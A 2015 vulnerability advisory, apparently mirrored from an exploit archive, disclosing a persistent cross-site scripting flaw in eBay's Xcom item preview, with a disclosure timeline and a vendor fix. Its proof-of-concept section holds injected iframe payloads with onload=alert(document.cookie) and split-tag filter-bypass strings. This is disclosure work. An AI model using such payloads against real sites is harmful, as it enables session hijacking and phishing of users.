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Ebay Xcom Item Preview Cross Site Scripting

Ebay Xcom Item Preview Cross Site Scripting
Posted Apr 21, 2015
Authored by Benjamin Kunz Mejri, Vulnerability Laboratory | Site vulnerability-lab.com

Ebay Xcom Item Preview functionality suffered from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 6a48404cf1eebbb0f5b22ddcaa8f5c2dae1874b532ef5baa0057bd698d548ad4

Ebay Xcom Item Preview Cross Site Scripting

Change Mirror Download
Document Title:
Ebay Inc Xcom #4 - (Item Preview) Persistent Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed
by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned
solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model
to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites.

Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting
this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability
inside our system, please tell us right away.

( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security )

Abstract Advisory Information:
The Vulnerability Laboratory Research Team discovered a persistent input validation web vulnerability in the official Ebay Xcom online-service content management system.

Vulnerability Disclosure Timeline:
2014-02-21: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security)
2014-02-22: Vendor Notification (eBay Inc Security Research Team)
2014-03-06: Vendor Response/Feedback (eBay Inc Security Research Team)
2015-03-19: Vendor Fix/Patch Information (eBay Inc Developer Team)
2015-03-23: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Ebay Inc.
Product: Ebay Inc - Official WebSite Magento Application & API 2014 Q1

Exploitation Technique:

Severity Level:

Technical Details & Description:
A persistent input validation web vulnerability has been discovered in the official Ebay Xcom online-service content management system.
The issue allows remote attackers to inject own malicious script codes to the application-side of the vulnerable module or affected web-service.

The persistent input validation web vulnerability is located in the `item description` value of the `preview` module. The affected context is
requested through the vulnerable eBayISAPI.dll file. The vulnerability allows remote attackers to inject script codes by usage of the vulnerable
editor spell checker to execute the persistent script codes in the valid preview page link of the item description. The attack vector of the
vulnerability is persistent (application-side) and the request method to inject is POST. The valid preview link can be exchanged with an exisiting
users session because of no secure implemented cookie restriction.

To bypass the validation of the editor it is required to use the spell checker code execution in the lithium forum discovered in 2012 by me to paypal.
After the inject of the script code the replace, parses the context the frame gets injected. Regular the preview disallow an user to preview with item
descriptions with persistent injected script code. To proof we injected a regular frame and used the editor to replace regular texts with script codes
in the description. After the unsuccessful proof we tried the same and splitted the tag to bypass the validation successfully.

The security risk of the application-side validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.1.
Exploitation of the persistent input validation vulnerability requires a low privileged ebay magento application user account and low user interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirect and persistent manipulation
of affected or connected module context.

Request Method(s): (Inject)
[+] POST

Vulnerable Module(s):
[+] Editor > Spell Check

Vulnerable Parameter(s):
[+] item description

Affected Module(s):
[+] Item Preview - Description Context

Proof of Concept (PoC):
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Affected Drafts & Editor Spell Check >

PoC: Preview

PoC: eBayISAPI.dll?PreviewItem
<div><div class="vi-cd"><span style="float: left;" class="vi-br">Seller assumes all responsibility for this listing.</span><span class="vi-xs vi-lk">
Item number: 233253838121</span><div class="vi-iw"><div class="cr-w cr-bt c-gy-bdr"><div class="cr-cnt"><table class="vi-ia-attrGroup" cellpadding="0"
cellspacing="0" width="100%"><tbody><tr><td id="vi-ia-attrTableFirstRowTd">​​​​​<h3 class="vi-ia-attrGroupTitle vi-ds2-subt">Item specifics</h3></td></tr>
<tr><td><table cellpadding="0" cellspacing="0" width="100%"><tbody><tr><th id="vi-ia-attrSectionLastRowTd" class="vi-ia-hdAl vi-ia-attrLabel vi-ia-attrColPadding"
align="left" nowrap="nowrap">Condition: </th><td headers="v4-107" id="vi-ia-attrSectionLastRowTd" class="vi-ia-attrColPadding" width="50.0%">
<div style="vertical-align:top">Like New<span style="margin-left:10px"><span><span><a href="" id="BUBbhlp1" class="bh-La"><b class="g-hdn">Click for help</b>
<b class="bh-hlp"></b></a><div style="display:none"><div id="cnbhlp1_oly" class="bh-pad"><div class="bh-bcnt"><span>An item that looks as if it was just taken
out of shrink wrap. No visible wear, and all facets of the item are flawless and intact. See the seller’s listing for full details and description of any imperfections.
</span></div><div class="bh-fc"><div><div class="lb-w"><b class="hl-nv lb-bo"><a href="" class="vi-ia-rm">See all condition definitions<b class="g-hdn">- opens in
a new window or tab</b></a></b></div></div></div><b id="bhlp1_olyARROW" class="bh-hc_lb"></b></div></div><div id="bhlp1_olyOly_Outer" class="g-hdn" style="visibility :
hidden;width:300px"><div id="cnbhlp1_oly"><div></div><a id="bhlp1_oly_stA" href="" class="g-hdn">BubbleHelp Opens Start of layer</a><a id="bhlp1_oly_enA"
href="" class="g-hdn">BubbleHelp End of layer</a></div></div></span></span><div style="clear:both"></div></span><div style="margin-top:5px;">
<span style="margin-left:-86px;margin-right:10px;">Seller Notes:</span><span>""><iframe src=a>%20"><iframe src=a><iframe>%20<iframe
src="x">"><iframe src=a>%20"> "><iframe src=a>%20"><iframe src=a><iframe>%20<img src="x">"><iframe
src=a>%20">"</span></div></div></td><th id="vi-ia-attrSectionLastRowTd" class="vi-ia-hdAl vi-ia-attrLabel vi-ia-attrColPadding" align="left"
nowrap="nowrap">Country/Region of Manufacture: </th><td headers="v4-108" id="vi-ia-attrSectionLastRowTd" class="vi-ia-attrColPadding" width="50.0%">Algeria</td></tr></tbody></table></td></tr></tbody></table></div></div></div></div><table width="100%"><tbody><tr><td class="storeDescTd"
valign="top"><div><div class="item_description"><div id="ngvi_desc_div" class="d-pad"><div>
<div><b>sacandaga [PERSISTENT INJECTED SCRIPT CODE!]"><iframe src="http://vulnerability-lab.com" onload=alert(document.cookie)"><iframe src=http://vulnerability-lab.com onload=alert(document.cookie) <
<iframe src=http://x>%20"> as dasd as "iframe"> fwefwefw holla</b><br></iframe>​​​​​</b></div></div></div></div></div></td></tr></tbody></table><div><div></div></div></div>


Security Risk:
The security risk of the persistent input validation web vulnerability and filter bypass issue is estimated as medium. (CVSS 4.1)

Credits & Authors:
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.

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